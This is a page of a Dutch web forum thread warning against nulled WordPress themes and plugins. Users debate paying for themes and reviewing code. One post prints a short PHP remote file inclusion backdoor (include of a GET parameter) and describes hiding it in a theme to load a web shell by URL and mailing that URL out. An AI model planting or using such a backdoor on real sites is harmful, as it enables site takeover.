[WP] Pas op met nulled themas en plugins

Gestart doorLennard36 reacties240 weergaven

37 berichten · pagina 2 van 3

Berichten
93.699
Reputatie
0
Punten
1,27
Lid sinds
Laatst gezien
Xjessex schreef:
In mijn repos wordt de code altijd eerst gecontroleerd voordat de pull request (github) gemerged wordt.
Dat lijkt mij ook vrij logisch. Niet dat iemand ineens je repo forked, virus erin stopt en pr opent en dat jij dat zomaar ff gaat mergen emo
ja, maar dat is anders hé, daar kan je duidelijk de wijzigingen zien aan je codebase, bij een WP plugin is dat niet het geval omdat het apart staat van de WP core zelf.
0
Janm

Lid

Berichten
6.170
Reputatie
1
Punten
0,00
Lid sinds
Laatst gezien
Aarclay schreef:
Eerdere citaten tonen
Jponsen schreef:
Sowieso nulled themas emo
Betaal er gewoon voor. Die mensen moet ook hun brood verdienen.

Gewoon kopen of zelf maken. Niet illegaal downloaden en dan claimen als zelf gemaakt wat de meeste doen.

Ik mag toch wel even testen of de template goed werkt, en of de code een beetje goed is hypocrite...
Ik wil wel kwalitatief goed spul hebben, en geen inferieure meuk! biggrin
Ik heb dit wel eens gedaan een jaar geleden. Ik had een template gedownload, getest. Deze beviel me en dezelfde avond aangeschaft op themeforest.
0
Berichten
6.144
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Janm schreef:
Eerdere citaten tonen
Aarclay schreef:
Eerdere citaten tonen
Jponsen schreef:
Sowieso nulled themas emo
Betaal er gewoon voor. Die mensen moet ook hun brood verdienen.

Gewoon kopen of zelf maken. Niet illegaal downloaden en dan claimen als zelf gemaakt wat de meeste doen.

Ik mag toch wel even testen of de template goed werkt, en of de code een beetje goed is hypocrite...
Ik wil wel kwalitatief goed spul hebben, en geen inferieure meuk! biggrin
Ik heb dit wel eens gedaan een jaar geleden. Ik had een template gedownload, getest. Deze beviel me en dezelfde avond aangeschaft op themeforest.
Jaa precies. Kijk als je het zo doet maakt het ook niet uit. Maar helaas zijn de meeste niet zo, en die denken zo van "Ja, waarom zou ik hem kopen als ik hem gratis kan krijgen?".
0
Berichten
11.637
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Ik heb mooi een betaald thema voor mn installatie dus ik geloof niet dat er iets aan de hand is ofzo coool
0
Berichten
93.699
Reputatie
0
Punten
1,27
Lid sinds
Laatst gezien
Owja want je kan alleen door gratis templates gehackt worden?yummie
0
Berichten
11.637
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Xjessex schreef:
Owja want je kan alleen door gratis templates gehackt worden?yummie
Ik neem aan dat de kans dat een thema van Themeforest van een topauteur (hoe ze daar ook heten) geen malafide code bevat emo
0
Berichten
93.699
Reputatie
0
Punten
1,27
Lid sinds
Laatst gezien
Kans is wel kleiner.
Maar de code controleren is een kleine moeite.
0
Rik

Lid

Berichten
18.393
Reputatie
0
Punten
0,04
Lid sinds
Laatst gezien
Willemmm schreef:
Eerdere citaten tonen
Xjessex schreef:
Owja want je kan alleen door gratis templates gehackt worden?yummie
Ik neem aan dat de kans dat een thema van Themeforest van een topauteur (hoe ze daar ook heten) geen malafide code bevat emo
Misschien niet de topauteurs, die verdienen immers meer dan voldoende met de prijzen van die templates nopompom
Maar van goedkopere templates zie ik niet in waarom iemand het niet zou kunnen doen.
0
Berichten
55
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Ik ken dit maar al te goed, vroeger bij een vriend gedaan die mijn wordpress theme naaide :3

Codeblok (voorbeeld.php):

1
2
3
4
5
6
7
8



if(isset($_GET[file]))
{

$file = $_GET[file];
include($file);
}

?>

Dit plaats je in een theme, je gaat naar ?file="SHELL URL HIER"
en boem.
Jammer genoeg gebruiken mensen dit ook om anderen te naaien.
Mensen plaatsen dit dan in een vaag bestand weggestopt ineen theme, en maken een mail() aan met de shell url erin; mij wel s gebeurd ):.
0
Berichten
10.421
Reputatie
4
Punten
0,00
Lid sinds
Laatst gezien
Dan moet je ook allow_url_include op ON zetten.
0
Rik

Lid

Berichten
18.393
Reputatie
0
Punten
0,04
Lid sinds
Laatst gezien
Aarclay schreef:
Dan moet je ook allow_url_include op ON zetten.
Het is uiteraard maar een voorbeeldje. En bovendien gebruiken gebruikers bijvoorbeeld ook slechtbeveiligde VPS-en e.d.

Je systeem is altijd zo zwak als de zwakste schakel.
0
Berichten
55
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Aar, ik kan hier geen voorbeelden geven, maar google eens naar htp5, hij heeft fuhosin gemaakt, die alle ini dingen bypassed.. Jammer genoeg.?
0
Berichten
14.025
Reputatie
1
Punten
0,01
Lid sinds
Laatst gezien
Ezsneaky schreef:
Aar, ik kan hier geen voorbeelden geven, maar google eens naar htp5, hij heeft fuhosin gemaakt, die alle ini dingen bypassed.. Jammer genoeg.?
Kan er niks over vinden en ik geloof het ook niet echt.
0
Berichten
10.421
Reputatie
4
Punten
0,00
Lid sinds
Laatst gezien
Suhosin bedoel je. Een PHP hardener die wat patches toevoegt.
0
Berichten
55
Reputatie
0
Punten
0,00
Lid sinds
Laatst gezien
Ja, excuses, Fuhosin was op Suhosin gebaseerd...
Zelfs one2xs is hier vatbaar voor.. (Shell executation/rooting)
0

Jouw reactie

Deel je idee, stel een vraag of help een ander verder.

Editor laden…

Praat mee met de One2xs-community.

Inloggen om te reageren